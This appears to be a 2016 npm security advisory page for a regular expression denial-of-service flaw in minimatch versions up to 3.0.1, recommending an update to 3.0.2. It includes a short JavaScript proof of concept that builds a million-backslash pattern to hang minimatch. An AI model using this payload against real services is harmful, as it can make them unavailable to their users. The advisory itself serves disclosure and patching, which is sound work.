Lucene search

K
nodejsNick StarkeNODEJS:118
HistoryMay 25, 2016 - 4:37 p.m.

Regular Expression Denial of Service

2016-05-2516:37:20
Nick Starke
www.npmjs.com
29

0.001 Low

EPSS

Percentile

47.0%

Overview

Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).

Proof of Concept

var minimatch = require(“minimatch”);

// utility function for generating long strings
var genstr = function (len, chr) {
  var result = “”;
  for (i=0; i<=len; i++) {
    result = result + chr;
  }
  return result;
}

var exploit = “[!” + genstr(1000000, “\\”) + “A”;

// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);

Recommendation

Update to version 3.0.2 or later.

References

GitHub Advisory

CPENameOperatorVersion
minimatchle3.0.1